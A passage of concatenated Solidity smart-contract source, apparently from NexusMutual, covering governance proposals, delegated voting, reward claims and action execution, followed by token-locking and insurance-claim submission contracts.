_proposalSubmission(_proposalId, _solutionHash, _action);
}
/**
* @dev Creates a new proposal with solution
* @param _proposalDescHash Proposal description hash through IPFS having Short and long description of proposal
* @param _categoryId This id tells under which the proposal is categorized i.e. Proposal's Objective
* @param _solutionHash Solution hash contains parameters, values and description needed according to proposal
*/
function createProposalwithSolution(
string calldata _proposalTitle,
string calldata _proposalSD,
string calldata _proposalDescHash,
uint _categoryId,
string calldata _solutionHash,
bytes calldata _action
)
external isAllowed(_categoryId)
{
uint proposalId = totalProposals;
_createProposal(_proposalTitle, _proposalSD, _proposalDescHash, _categoryId);
require(_categoryId > 0);
_proposalSubmission(
proposalId,
_solutionHash,
_action
);
}
/**
* @dev Submit a vote on the proposal.
* @param _proposalId to vote upon.
* @param _solutionChosen is the chosen vote.
*/
function submitVote(uint _proposalId, uint _solutionChosen) external {
require(allProposalData[_proposalId].propStatus ==
uint(Governance.ProposalStatus.VotingStarted), "Not allowed");
require(_solutionChosen < allProposalSolutions[_proposalId].length);
_submitVote(_proposalId, _solutionChosen);
}
/**
* @dev Closes the proposal.
* @param _proposalId of proposal to be closed.
*/
function closeProposal(uint _proposalId) external {
uint category = allProposalData[_proposalId].category;
uint _memberRole;
if (allProposalData[_proposalId].dateUpd.add(maxDraftTime) <= now &&
allProposalData[_proposalId].propStatus < uint(ProposalStatus.VotingStarted)) {
_updateProposalStatus(_proposalId, uint(ProposalStatus.Denied));
} else {
require(canCloseProposal(_proposalId) == 1);
(, _memberRole,,,,,) = proposalCategory.category(allProposalData[_proposalId].category);
if (_memberRole == uint(MemberRoles.Role.AdvisoryBoard)) {
_closeAdvisoryBoardVote(_proposalId, category);
} else {
_closeMemberVote(_proposalId, category);
}
}
}
/**
* @dev Claims reward for member.
* @param _memberAddress to claim reward of.
* @param _maxRecords maximum number of records to claim reward for.
_proposals list of proposals of which reward will be claimed.
* @return amount of pending reward.
*/
function claimReward(address _memberAddress, uint _maxRecords)
external returns (uint pendingDAppReward)
{
uint voteId;
address leader;
uint lastUpd;
require(msg.sender == ms.getLatestAddress("CR"));
uint delegationId = followerDelegation[_memberAddress];
DelegateVote memory delegationData = allDelegation[delegationId];
if (delegationId > 0 && delegationData.leader != address(0)) {
leader = delegationData.leader;
lastUpd = delegationData.lastUpd;
} else
leader = _memberAddress;
uint proposalId;
uint totalVotes = allVotesByMember[leader].length;
uint lastClaimed = totalVotes;
uint j;
uint i;
for (i = lastRewardClaimed[_memberAddress]; i < totalVotes && j < _maxRecords; i++) {
voteId = allVotesByMember[leader][i];
proposalId = allVotes[voteId].proposalId;
if (proposalVoteTally[proposalId].voters > 0 && (allVotes[voteId].dateAdd > (
lastUpd.add(tokenHoldingTime)) || leader == _memberAddress)) {
if (allProposalData[proposalId].propStatus > uint(ProposalStatus.VotingStarted)) {
if (!rewardClaimed[voteId][_memberAddress]) {
pendingDAppReward = pendingDAppReward.add(
allProposalData[proposalId].commonIncentive.div(
proposalVoteTally[proposalId].voters
)
);
rewardClaimed[voteId][_memberAddress] = true;
j++;
}
} else {
if (lastClaimed == totalVotes) {
lastClaimed = i;
}
}
}
}
if (lastClaimed == totalVotes) {
lastRewardClaimed[_memberAddress] = i;
} else {
lastRewardClaimed[_memberAddress] = lastClaimed;
}
if (j > 0) {
emit RewardClaimed(
_memberAddress,
pendingDAppReward
);
}
}
/**
* @dev Sets delegation acceptance status of individual user
* @param _status delegation acceptance status
*/
function setDelegationStatus(bool _status) external isMemberAndcheckPause checkPendingRewards {
isOpenForDelegation[msg.sender] = _status;
}
/**
* @dev Delegates vote to an address.
* @param _add is the address to delegate vote to.
*/
function delegateVote(address _add) external isMemberAndcheckPause checkPendingRewards {
require(ms.masterInitialized());
require(allDelegation[followerDelegation[_add]].leader == address(0));
if (followerDelegation[msg.sender] > 0) {
require((allDelegation[followerDelegation[msg.sender]].lastUpd).add(tokenHoldingTime) < now);
}
require(!alreadyDelegated(msg.sender));
require(!memberRole.checkRole(msg.sender, uint(MemberRoles.Role.Owner)));
require(!memberRole.checkRole(msg.sender, uint(MemberRoles.Role.AdvisoryBoard)));
require(followerCount[_add] < maxFollowers);
if (allVotesByMember[msg.sender].length > 0) {
require((allVotes[allVotesByMember[msg.sender][allVotesByMember[msg.sender].length - 1]].dateAdd).add(tokenHoldingTime)
< now);
}
require(ms.isMember(_add));
require(isOpenForDelegation[_add]);
allDelegation.push(DelegateVote(msg.sender, _add, now));
followerDelegation[msg.sender] = allDelegation.length - 1;
leaderDelegation[_add].push(allDelegation.length - 1);
followerCount[_add]++;
lastRewardClaimed[msg.sender] = allVotesByMember[_add].length;
}
/**
* @dev Undelegates the sender
*/
function unDelegate() external isMemberAndcheckPause checkPendingRewards {
_unDelegate(msg.sender);
}
/**
* @dev Triggers action of accepted proposal after waiting time is finished
*/
function triggerAction(uint _proposalId) external {
require(proposalActionStatus[_proposalId] == uint(ActionStatus.Accepted) && proposalExecutionTime[_proposalId] <= now, "Cannot trigger");
_triggerAction(_proposalId, allProposalData[_proposalId].category);
}
/**
* @dev Provides option to Advisory board member to reject proposal action execution within actionWaitingTime, if found suspicious
*/
function rejectAction(uint _proposalId) external {
require(memberRole.checkRole(msg.sender, uint(MemberRoles.Role.AdvisoryBoard)) && proposalExecutionTime[_proposalId] > now);
require(proposalActionStatus[_proposalId] == uint(ActionStatus.Accepted));
require(!proposalRejectedByAB[_proposalId][msg.sender]);
require(
keccak256(proposalCategory.categoryActionHashes(allProposalData[_proposalId].category))
!= keccak256(abi.encodeWithSignature("swapABMember(address,address)"))
);
proposalRejectedByAB[_proposalId][msg.sender] = true;
actionRejectedCount[_proposalId]++;
emit ActionRejected(_proposalId, msg.sender);
if (actionRejectedCount[_proposalId] == AB_MAJ_TO_REJECT_ACTION) {
proposalActionStatus[_proposalId] = uint(ActionStatus.Rejected);
}
}
/**
* @dev Sets intial actionWaitingTime value
* To be called after governance implementation has been updated
*/
function setInitialActionParameters() external onlyOwner {
require(!actionParamsInitialised);
actionParamsInitialised = true;
actionWaitingTime = 24 * 1 hours;
}
/**
* @dev Gets Uint Parameters of a code
* @param code whose details we want
* @return string value of the code
* @return associated amount (time or perc or value) to the code
*/
function getUintParameters(bytes8 code) external view returns (bytes8 codeVal, uint val) {
codeVal = code;
if (code == "GOVHOLD") {
val = tokenHoldingTime / (1 days);
} else if (code == "MAXFOL") {
val = maxFollowers;
} else if (code == "MAXDRFT") {
val = maxDraftTime / (1 days);
} else if (code == "EPTIME") {
val = ms.pauseTime() / (1 days);
} else if (code == "ACWT") {
val = actionWaitingTime / (1 hours);
}
}
/**
* @dev Gets all details of a propsal
* @param _proposalId whose details we want
* @return proposalId
* @return category
* @return status
* @return finalVerdict
* @return totalReward
*/
function proposal(uint _proposalId)
external
view
returns (
uint proposalId,
uint category,
uint status,
uint finalVerdict,
uint totalRewar
)
{
return (
_proposalId,
allProposalData[_proposalId].category,
allProposalData[_proposalId].propStatus,
allProposalData[_proposalId].finalVerdict,
allProposalData[_proposalId].commonIncentive
);
}
/**
* @dev Gets some details of a propsal
* @param _proposalId whose details we want
* @return proposalId
* @return number of all proposal solutions
* @return amount of votes
*/
function proposalDetails(uint _proposalId) external view returns (uint, uint, uint) {
return (
_proposalId,
allProposalSolutions[_proposalId].length,
proposalVoteTally[_proposalId].voters
);
}
/**
* @dev Gets solution action on a proposal
* @param _proposalId whose details we want
* @param _solution whose details we want
* @return action of a solution on a proposal
*/
function getSolutionAction(uint _proposalId, uint _solution) external view returns (uint, bytes memory) {
return (
_solution,
allProposalSolutions[_proposalId][_solution]
);
}
/**
* @dev Gets length of propsal
* @return length of propsal
*/
function getProposalLength() external view returns (uint) {
return totalProposals;
}
/**
* @dev Get followers of an address
* @return get followers of an address
*/
function getFollowers(address _add) external view returns (uint[] memory) {
return leaderDelegation[_add];
}
/**
* @dev Gets pending rewards of a member
* @param _memberAddress in concern
* @return amount of pending reward
*/
function getPendingReward(address _memberAddress)
public view returns (uint pendingDAppReward)
{
uint delegationId = followerDelegation[_memberAddress];
address leader;
uint lastUpd;
DelegateVote memory delegationData = allDelegation[delegationId];
if (delegationId > 0 && delegationData.leader != address(0)) {
leader = delegationData.leader;
lastUpd = delegationData.lastUpd;
} else
leader = _memberAddress;
uint proposalId;
for (uint i = lastRewardClaimed[_memberAddress]; i < allVotesByMember[leader].length; i++) {
if (allVotes[allVotesByMember[leader][i]].dateAdd > (
lastUpd.add(tokenHoldingTime)) || leader == _memberAddress) {
if (!rewardClaimed[allVotesByMember[leader][i]][_memberAddress]) {
proposalId = allVotes[allVotesByMember[leader][i]].proposalId;
if (proposalVoteTally[proposalId].voters > 0 && allProposalData[proposalId].propStatus
> uint(ProposalStatus.VotingStarted)) {
pendingDAppReward = pendingDAppReward.add(
allProposalData[proposalId].commonIncentive.div(
proposalVoteTally[proposalId].voters
)
);
}
}
}
}
}
/**
* @dev Updates Uint Parameters of a code
* @param code whose details we want to update
* @param val value to set
*/
function updateUintParameters(bytes8 code, uint val) public {
require(ms.checkIsAuthToGoverned(msg.sender));
if (code == "GOVHOLD") {
tokenHoldingTime = val * 1 days;
} else if (code == "MAXFOL") {
maxFollowers = val;
} else if (code == "MAXDRFT") {
maxDraftTime = val * 1 days;
} else if (code == "EPTIME") {
ms.updatePauseTime(val * 1 days);
} else if (code == "ACWT") {
actionWaitingTime = val * 1 hours;
} else {
revert("Invalid code");
}
}
/**
* @dev Updates all dependency addresses to latest ones from Master
*/
function changeDependentContractAddress() public {
tokenInstance = TokenController(ms.dAppLocker());
memberRole = MemberRoles(ms.getLatestAddress("MR"));
proposalCategory = ProposalCategory(ms.getLatestAddress("PC"));
}
/**
* @dev Checks if msg.sender is allowed to create a proposal under given category
*/
function allowedToCreateProposal(uint category) public view returns (bool check) {
if (category == 0)
return true;
uint[] memory mrAllowed;
(,,,, mrAllowed,,) = proposalCategory.category(category);
for (uint i = 0; i < mrAllowed.length; i++) {
if (mrAllowed[i] == 0 || memberRole.checkRole(msg.sender, mrAllowed[i]))
return true;
}
}
/**
* @dev Checks if an address is already delegated
* @param _add in concern
* @return bool value if the address is delegated or not
*/
function alreadyDelegated(address _add) public view returns (bool delegated) {
for (uint i = 0; i < leaderDelegation[_add].length; i++) {
if (allDelegation[leaderDelegation[_add][i]].leader == _add) {
return true;
}
}
}
/**
* @dev Checks If the proposal voting time is up and it's ready to close
* i.e. Closevalue is 1 if proposal is ready to be closed, 2 if already closed, 0 otherwise!
* @param _proposalId Proposal id to which closing value is being checked
*/
function canCloseProposal(uint _proposalId)
public
view
returns (uint)
{
uint dateUpdate;
uint pStatus;
uint _closingTime;
uint _roleId;
uint majority;
pStatus = allProposalData[_proposalId].propStatus;
dateUpdate = allProposalData[_proposalId].dateUpd;
(, _roleId, majority, , , _closingTime,) = proposalCategory.category(allProposalData[_proposalId].category);
if (
pStatus == uint(ProposalStatus.VotingStarted)
) {
uint numberOfMembers = memberRole.numberOfMembers(_roleId);
if (_roleId == uint(MemberRoles.Role.AdvisoryBoard)) {
if (proposalVoteTally[_proposalId].abVoteValue[1].mul(100).div(numberOfMembers) >= majority
|| proposalVoteTally[_proposalId].abVoteValue[1].add(proposalVoteTally[_proposalId].abVoteValue[0]) == numberOfMembers
|| dateUpdate.add(_closingTime) <= now) {
return 1;
}
} else {
if (numberOfMembers == proposalVoteTally[_proposalId].voters
|| dateUpdate.add(_closingTime) <= now)
return 1;
}
} else if (pStatus > uint(ProposalStatus.VotingStarted)) {
return 2;
} else {
return 0;
}
}
/**
* @dev Gets Id of member role allowed to categorize the proposal
* @return roleId allowed to categorize the proposal
*/
function allowedToCatgorize() public view returns (uint roleId) {
return roleIdAllowedToCatgorize;
}
/**
* @dev Gets vote tally data
* @param _proposalId in concern
* @param _solution of a proposal id
* @return member vote value
* @return advisory board vote value
* @return amount of votes
*/
function voteTallyData(uint _proposalId, uint _solution) public view returns (uint, uint, uint) {
return (proposalVoteTally[_proposalId].memberVoteValue[_solution],
proposalVoteTally[_proposalId].abVoteValue[_solution], proposalVoteTally[_proposalId].voters);
}
/**
* @dev Internal call to create proposal
* @param _proposalTitle of proposal
* @param _proposalSD is short description of proposal
* @param _proposalDescHash IPFS hash value of propsal
* @param _categoryId of proposal
*/
function _createProposal(
string memory _proposalTitle,
string memory _proposalSD,
string memory _proposalDescHash,
uint _categoryId
)
internal
{
require(proposalCategory.categoryABReq(_categoryId) == 0 || _categoryId == 0);
uint _proposalId = totalProposals;
allProposalData[_proposalId].owner = msg.sender;
allProposalData[_proposalId].dateUpd = now;
allProposalSolutions[_proposalId].push("");
totalProposals++;
emit Proposal(
msg.sender,
_proposalId,
now,
_proposalTitle,
_proposalSD,
_proposalDescHash
);
if (_categoryId > 0)
_categorizeProposal(_proposalId, _categoryId, 0);
}
/**
* @dev Internal call to categorize a proposal
* @param _proposalId of proposal
* @param _categoryId of proposal
* @param _incentive is commonIncentive
*/
function _categorizeProposal(
uint _proposalId,
uint _categoryId,
uint _incentive
)
internal
{
require(
_categoryId > 0 && _categoryId < proposalCategory.totalCategories(),
"Invalid category"
);
allProposalData[_proposalId].category = _categoryId;
allProposalData[_proposalId].commonIncentive = _incentive;
allProposalData[_proposalId].propStatus = uint(ProposalStatus.AwaitingSolution);
emit ProposalCategorized(_proposalId, msg.sender, _categoryId);
}
/**
* @dev Internal call to add solution to a proposal
* @param _proposalId in concern
* @param _action on that solution
* @param _solutionHash string value
*/
function _addSolution(uint _proposalId, bytes memory _action, string memory _solutionHash)
internal
{
allProposalSolutions[_proposalId].push(_action);
emit Solution(_proposalId, msg.sender, allProposalSolutions[_proposalId].length - 1, _solutionHash, now);
}
/**
* @dev Internal call to add solution and open proposal for voting
*/
function _proposalSubmission(
uint _proposalId,
string memory _solutionHash,
bytes memory _action
)
internal
{
uint _categoryId = allProposalData[_proposalId].category;
if (proposalCategory.categoryActionHashes(_categoryId).length == 0) {
require(keccak256(_action) == keccak256(""));
proposalActionStatus[_proposalId] = uint(ActionStatus.NoAction);
}
_addSolution(
_proposalId,
_action,
_solutionHash
);
_updateProposalStatus(_proposalId, uint(ProposalStatus.VotingStarted));
(, , , , , uint closingTime,) = proposalCategory.category(_categoryId);
emit CloseProposalOnTime(_proposalId, closingTime.add(now));
}
/**
* @dev Internal call to submit vote
* @param _proposalId of proposal in concern
* @param _solution for that proposal
*/
function _submitVote(uint _proposalId, uint _solution) internal {
uint delegationId = followerDelegation[msg.sender];
uint mrSequence;
uint majority;
uint closingTime;
(, mrSequence, majority, , , closingTime,) = proposalCategory.category(allProposalData[_proposalId].category);
require(allProposalData[_proposalId].dateUpd.add(closingTime) > now, "Closed");
require(memberProposalVote[msg.sender][_proposalId] == 0, "Not allowed");
require((delegationId == 0) || (delegationId > 0 && allDelegation[delegationId].leader == address(0) &&
_checkLastUpd(allDelegation[delegationId].lastUpd)));
require(memberRole.checkRole(msg.sender, mrSequence), "Not Authorized");
uint totalVotes = allVotes.length;
allVotesByMember[msg.sender].push(totalVotes);
memberProposalVote[msg.sender][_proposalId] = totalVotes;
allVotes.push(ProposalVote(msg.sender, _proposalId, now));
emit Vote(msg.sender, _proposalId, totalVotes, now, _solution);
if (mrSequence == uint(MemberRoles.Role.Owner)) {
if (_solution == 1)
_callIfMajReached(_proposalId, uint(ProposalStatus.Accepted), allProposalData[_proposalId].category, 1, MemberRoles.Role.Owner);
else
_updateProposalStatus(_proposalId, uint(ProposalStatus.Rejected));
} else {
uint numberOfMembers = memberRole.numberOfMembers(mrSequence);
_setVoteTally(_proposalId, _solution, mrSequence);
if (mrSequence == uint(MemberRoles.Role.AdvisoryBoard)) {
if (proposalVoteTally[_proposalId].abVoteValue[1].mul(100).div(numberOfMembers)
>= majority
|| (proposalVoteTally[_proposalId].abVoteValue[1].add(proposalVoteTally[_proposalId].abVoteValue[0])) == numberOfMembers) {
emit VoteCast(_proposalId);
}
} else {
if (numberOfMembers == proposalVoteTally[_proposalId].voters)
emit VoteCast(_proposalId);
}
}
}
/**
* @dev Internal call to set vote tally of a proposal
* @param _proposalId of proposal in concern
* @param _solution of proposal in concern
* @param mrSequence number of members for a role
*/
function _setVoteTally(uint _proposalId, uint _solution, uint mrSequence) internal
{
uint categoryABReq;
uint isSpecialResolution;
(, categoryABReq, isSpecialResolution) = proposalCategory.categoryExtendedData(allProposalData[_proposalId].category);
if (memberRole.checkRole(msg.sender, uint(MemberRoles.Role.AdvisoryBoard)) && (categoryABReq > 0) ||
mrSequence == uint(MemberRoles.Role.AdvisoryBoard)) {
proposalVoteTally[_proposalId].abVoteValue[_solution]++;
}
tokenInstance.lockForMemberVote(msg.sender, tokenHoldingTime);
if (mrSequence != uint(MemberRoles.Role.AdvisoryBoard)) {
uint voteWeight;
uint voters = 1;
uint tokenBalance = tokenInstance.totalBalanceOf(msg.sender);
uint totalSupply = tokenInstance.totalSupply();
if (isSpecialResolution == 1) {
voteWeight = tokenBalance.add(10 ** 18);
} else {
voteWeight = (_minOf(tokenBalance, maxVoteWeigthPer.mul(totalSupply).div(100))).add(10 ** 18);
}
DelegateVote memory delegationData;
for (uint i = 0; i < leaderDelegation[msg.sender].length; i++) {
delegationData = allDelegation[leaderDelegation[msg.sender][i]];
if (delegationData.leader == msg.sender &&
_checkLastUpd(delegationData.lastUpd)) {
if (memberRole.checkRole(delegationData.follower, mrSequence)) {
tokenBalance = tokenInstance.totalBalanceOf(delegationData.follower);
tokenInstance.lockForMemberVote(delegationData.follower, tokenHoldingTime);
voters++;
if (isSpecialResolution == 1) {
voteWeight = voteWeight.add(tokenBalance.add(10 ** 18));
} else {
voteWeight = voteWeight.add((_minOf(tokenBalance, maxVoteWeigthPer.mul(totalSupply).div(100))).add(10 ** 18));
}
}
}
}
proposalVoteTally[_proposalId].memberVoteValue[_solution] = proposalVoteTally[_proposalId].memberVoteValue[_solution].add(voteWeight);
proposalVoteTally[_proposalId].voters = proposalVoteTally[_proposalId].voters + voters;
}
}
/**
* @dev Gets minimum of two numbers
* @param a one of the two numbers
* @param b one of the two numbers
* @return minimum number out of the two
*/
function _minOf(uint a, uint b) internal pure returns (uint res) {
res = a;
if (res > b)
res = b;
}
/**
* @dev Check the time since last update has exceeded token holding time or not
* @param _lastUpd is last update time
* @return the bool which tells if the time since last update has exceeded token holding time or not
*/
function _checkLastUpd(uint _lastUpd) internal view returns (bool) {
return (now - _lastUpd) > tokenHoldingTime;
}
/**
* @dev Checks if the vote count against any solution passes the threshold value or not.
*/
function _checkForThreshold(uint _proposalId, uint _category) internal view returns (bool check) {
uint categoryQuorumPerc;
uint roleAuthorized;
(, roleAuthorized, , categoryQuorumPerc, , ,) = proposalCategory.category(_category);
check = ((proposalVoteTally[_proposalId].memberVoteValue[0]
.add(proposalVoteTally[_proposalId].memberVoteValue[1]))
.mul(100))
.div(
tokenInstance.totalSupply().add(
memberRole.numberOfMembers(roleAuthorized).mul(10 ** 18)
)
) >= categoryQuorumPerc;
}
/**
* @dev Called when vote majority is reached
* @param _proposalId of proposal in concern
* @param _status of proposal in concern
* @param category of proposal in concern
* @param max vote value of proposal in concern
*/
function _callIfMajReached(uint _proposalId, uint _status, uint category, uint max, MemberRoles.Role role) internal {
allProposalData[_proposalId].finalVerdict = max;
_updateProposalStatus(_proposalId, _status);
emit ProposalAccepted(_proposalId);
if (proposalActionStatus[_proposalId] != uint(ActionStatus.NoAction)) {
if (role == MemberRoles.Role.AdvisoryBoard) {
_triggerAction(_proposalId, category);
} else {
proposalActionStatus[_proposalId] = uint(ActionStatus.Accepted);
proposalExecutionTime[_proposalId] = actionWaitingTime.add(now);
}
}
}
/**
* @dev Internal function to trigger action of accepted proposal
*/
function _triggerAction(uint _proposalId, uint _categoryId) internal {
proposalActionStatus[_proposalId] = uint(ActionStatus.Executed);
bytes2 contractName;
address actionAddress;
bytes memory _functionHash;
(, actionAddress, contractName, , _functionHash) = proposalCategory.categoryActionDetails(_categoryId);
if (contractName == "MS") {
actionAddress = address(ms);
} else if (contractName != "EX") {
actionAddress = ms.getLatestAddress(contractName);
}
// solhint-disable-next-line avoid-low-level-calls
(bool actionStatus,) = actionAddress.call(abi.encodePacked(_functionHash, allProposalSolutions[_proposalId][1]));
if (actionStatus) {
emit ActionSuccess(_proposalId);
} else {
proposalActionStatus[_proposalId] = uint(ActionStatus.Accepted);
emit ActionFailed(_proposalId);
}
}
/**
* @dev Internal call to update proposal status
* @param _proposalId of proposal in concern
* @param _status of proposal to set
*/
function _updateProposalStatus(uint _proposalId, uint _status) internal {
if (_status == uint(ProposalStatus.Rejected) || _status == uint(ProposalStatus.Denied)) {
proposalActionStatus[_proposalId] = uint(ActionStatus.NoAction);
}
allProposalData[_proposalId].dateUpd = now;
allProposalData[_proposalId].propStatus = _status;
}
/**
* @dev Internal call to undelegate a follower
* @param _follower is address of follower to undelegate
*/
function _unDelegate(address _follower) internal {
uint followerId = followerDelegation[_follower];
if (followerId > 0) {
followerCount[allDelegation[followerId].leader] = followerCount[allDelegation[followerId].leader].sub(1);
allDelegation[followerId].leader = address(0);
allDelegation[followerId].lastUpd = now;
lastRewardClaimed[_follower] = allVotesByMember[_follower].length;
}
}
/**
* @dev Internal call to close member voting
* @param _proposalId of proposal in concern
* @param category of proposal in concern
*/
function _closeMemberVote(uint _proposalId, uint category) internal {
uint isSpecialResolution;
uint abMaj;
(, abMaj, isSpecialResolution) = proposalCategory.categoryExtendedData(category);
if (isSpecialResolution == 1) {
uint acceptedVotePerc = proposalVoteTally[_proposalId].memberVoteValue[1].mul(100)
.div(
tokenInstance.totalSupply().add(
memberRole.numberOfMembers(uint(MemberRoles.Role.Member)).mul(10 ** 18)
));
if (acceptedVotePerc >= specialResolutionMajPerc) {
_callIfMajReached(_proposalId, uint(ProposalStatus.Accepted), category, 1, MemberRoles.Role.Member);
} else {
_updateProposalStatus(_proposalId, uint(ProposalStatus.Denied));
}
} else {
if (_checkForThreshold(_proposalId, category)) {
uint majorityVote;
(,, majorityVote,,,,) = proposalCategory.category(category);
if (
((proposalVoteTally[_proposalId].memberVoteValue[1].mul(100))
.div(proposalVoteTally[_proposalId].memberVoteValue[0]
.add(proposalVoteTally[_proposalId].memberVoteValue[1])
))
>= majorityVote
) {
_callIfMajReached(_proposalId, uint(ProposalStatus.Accepted), category, 1, MemberRoles.Role.Member);
} else {
_updateProposalStatus(_proposalId, uint(ProposalStatus.Rejected));
}
} else {
if (abMaj > 0 && proposalVoteTally[_proposalId].abVoteValue[1].mul(100)
.div(memberRole.numberOfMembers(uint(MemberRoles.Role.AdvisoryBoard))) >= abMaj) {
_callIfMajReached(_proposalId, uint(ProposalStatus.Accepted), category, 1, MemberRoles.Role.Member);
} else {
_updateProposalStatus(_proposalId, uint(ProposalStatus.Denied));
}
}
}
if (proposalVoteTally[_proposalId].voters > 0) {
tokenInstance.mint(ms.getLatestAddress("CR"), allProposalData[_proposalId].commonIncentive);
}
}
/**
* @dev Internal call to close advisory board voting
* @param _proposalId of proposal in concern
* @param category of proposal in concern
*/
function _closeAdvisoryBoardVote(uint _proposalId, uint category) internal {
uint _majorityVote;
MemberRoles.Role _roleId = MemberRoles.Role.AdvisoryBoard;
(,, _majorityVote,,,,) = proposalCategory.category(category);
if (proposalVoteTally[_proposalId].abVoteValue[1].mul(100)
.div(memberRole.numberOfMembers(uint(_roleId))) >= _majorityVote) {
_callIfMajReached(_proposalId, uint(ProposalStatus.Accepted), category, 1, _roleId);
} else {
_updateProposalStatus(_proposalId, uint(ProposalStatus.Denied));
}
}
}
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../abstract/MasterAware.sol";
import "../cover/QuotationData.sol";
import "./NXMToken.sol";
import "./TokenController.sol";
import "./TokenData.sol";
contract TokenFunctions is MasterAware {
using SafeMath for uint;
TokenController public tc;
NXMToken public tk;
QuotationData public qd;
event BurnCATokens(uint claimId, address addr, uint amount);
/**
* @dev to get the all the cover locked tokens of a user
* @param _of is the user address in concern
* @return amount locked
*/
function getUserAllLockedCNTokens(address _of) external view returns (uint) {
uint[] memory coverIds = qd.getAllCoversOfUser(_of);
uint total;
for (uint i = 0; i < coverIds.length; i++) {
bytes32 reason = keccak256(abi.encodePacked("CN", _of, coverIds[i]));
uint coverNote = tc.tokensLocked(_of, reason);
total = total.add(coverNote);
}
return total;
}
/**
* @dev Change Dependent Contract Address
*/
function changeDependentContractAddress() public {
tc = TokenController(master.getLatestAddress("TC"));
tk = NXMToken(master.tokenAddress());
qd = QuotationData(master.getLatestAddress("QD"));
}
/**
* @dev Burns tokens used for fraudulent voting against a claim
* @param claimid Claim Id.
* @param _value number of tokens to be burned
* @param _of Claim Assessor's address.
*/
function burnCAToken(uint claimid, uint _value, address _of) external onlyGovernance {
tc.burnLockedTokens(_of, "CLA", _value);
emit BurnCATokens(claimid, _of, _value);
}
/**
* @dev to check if a member is locked for member vote
* @param _of is the member address in concern
* @return the boolean status
*/
function isLockedForMemberVote(address _of) public view returns (bool) {
return now < tk.isLockedForMV(_of);
}
}
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "../capital/Pool.sol";
import "../claims/ClaimsReward.sol";
import "../token/NXMToken.sol";
import "../token/TokenController.sol";
import "../token/TokenFunctions.sol";
import "./ClaimsData.sol";
import "./Incidents.sol";
contract Claims is Iupgradable {
using SafeMath for uint;
TokenController internal tc;
ClaimsReward internal cr;
Pool internal p1;
ClaimsData internal cd;
TokenData internal td;
QuotationData internal qd;
Incidents internal incidents;
uint private constant DECIMAL1E18 = uint(10) ** 18;
/**
* @dev Sets the status of claim using claim id.
* @param claimId claim id.
* @param stat status to be set.
*/
function setClaimStatus(uint claimId, uint stat) external onlyInternal {
_setClaimStatus(claimId, stat);
}
/**
* @dev Calculates total amount that has been used to assess a claim.
* Computaion:Adds acceptCA(tokens used for voting in favor of a claim)
* denyCA(tokens used for voting against a claim) * current token price.
* @param claimId Claim Id.
* @param member Member type 0 -> Claim Assessors, else members.
* @return tokens Total Amount used in Claims assessment.
*/
function getCATokens(uint claimId, uint member) external view returns (uint tokens) {
uint coverId;
(, coverId) = cd.getClaimCoverId(claimId);
bytes4 currency = qd.getCurrencyOfCover(coverId);
address asset = cr.getCurrencyAssetAddress(currency);
uint tokenx1e18 = p1.getTokenPrice(asset);
uint accept;
uint deny;
if (member == 0) {
(, accept, deny) = cd.getClaimsTokenCA(claimId);
} else {
(, accept, deny) = cd.getClaimsTokenMV(claimId);
}
tokens = ((accept.add(deny)).mul(tokenx1e18)).div(DECIMAL1E18); // amount (not in tokens)
}
/**
* Iupgradable Interface to update dependent contract address
*/
function changeDependentContractAddress() public onlyInternal {
td = TokenData(ms.getLatestAddress("TD"));
tc = TokenController(ms.getLatestAddress("TC"));
p1 = Pool(ms.getLatestAddress("P1"));
cr = ClaimsReward(ms.getLatestAddress("CR"));
cd = ClaimsData(ms.getLatestAddress("CD"));
qd = QuotationData(ms.getLatestAddress("QD"));
incidents = Incidents(ms.getLatestAddress("IC"));
}
/**
* @dev Submits a claim for a given cover note.
* Adds claim to queue incase of emergency pause else directly submits the claim.
* @param coverId Cover Id.
*/
function submitClaim(uint coverId) external {
_submitClaim(coverId, msg.sender);
}
function submitClaimForMember(uint coverId, address member) external onlyInternal {
_submitClaim(coverId, member);
}
function _submitClaim(uint coverId, address member) internal {
require(!ms.isPause(), "Claims: System is paused");
(/* id */, address contractAddress) = qd.getscAddressOfCover(coverId);
address token = incidents.coveredToken(contractAddress);
require(token == address(0), "Claims: Product type does not allow claims");
address coverOwner = qd.getCoverMemberAddress(coverId);
require(coverOwner == member, "Claims: Not cover owner");
uint expirationDate = qd.getValidityOfCover(coverId);
uint gracePeriod = tc.claimSubmissionGracePeriod();
require(expirationDate.add(gracePeriod) > now, "Claims: Grace period has expired");
tc.markCoverClaimOpen(coverId);
qd.changeCoverStatusNo(coverId, uint8(QuotationData.CoverStatus.ClaimSubmitted));
uint claimId = cd.actualClaimLength();
cd.addClaim(claimId, coverId, coverOwner, now);
cd.callClaimEvent(coverId, coverOwner, claimId, now);
}
// solhint-disable-next-line no-empty-blocks
function submitClaimAfterEPOff() external pure {}
/**
* @dev Castes vote for members who have tokens locked under Claims Assessment
* @param claimId claim id.
* @param verdict 1 for Accept,-1 for Deny.
*/
function submitCAVote(uint claimId, int8 verdict) public isMemberAndcheckPause {
require(checkVoteClosing(claimId) != 1);
require(cd.userClaimVotePausedOn(msg.sender).add(cd.pauseDaysCA()) < now);
uint tokens = tc.tokensLockedAtTime(msg.sender, "CLA", now.add(cd.claimDepositTime()));
require(tokens > 0);
uint stat;
(, stat) = cd.getClaimStatusNumber(claimId);
require(stat == 0);
require(cd.getUserClaimVoteCA(msg.sender, claimId) == 0);
td.bookCATokens(msg.sender);
cd.addVote(msg.sender, tokens, claimId, verdict);
cd.callVoteEvent(msg.sender, claimId, "CAV", tokens, now, verdict);
uint voteLength = cd.getAllVoteLength();
